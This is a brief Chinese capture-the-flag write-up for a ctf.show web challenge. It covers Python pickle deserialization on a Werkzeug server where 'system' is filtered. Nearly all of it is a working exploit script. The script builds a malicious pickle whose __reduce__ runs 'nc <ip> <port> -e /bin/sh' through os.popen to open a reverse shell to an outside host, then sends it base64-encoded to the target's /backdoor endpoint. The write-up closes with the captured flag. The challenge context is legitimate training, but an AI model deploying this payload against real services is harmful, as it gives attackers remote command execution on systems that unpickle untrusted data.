Werkzeug/1.0.1Python/3.7.9pickle 反序列化

    和 web277 差不多,只不过过滤了 system,换个函数即可

    poc

    1. import base64
    2. import pickle
    3. import requests
    4. class Exp():
    5. def __reduce__(self):
    6. return(__import__("os").popen, ('nc 服务器ip 服务器端口 -e /bin/sh',))
    7. exp = Exp()
    8. s = pickle.dumps(exp)
    9. s_base64 = base64.b64encode(s)
    10. url = 'http://e281b968-e161-414c-bd80-c7a79045351e.challenge.ctf.show:8080/backdoor'
    11. params={
    12. 'data': s_base64
    13. }
    14. requests.get(url, params)

    image.png
    flag
    ctfshow{bebaefdd-04a9-476e-a3c6-9d3daacd0770}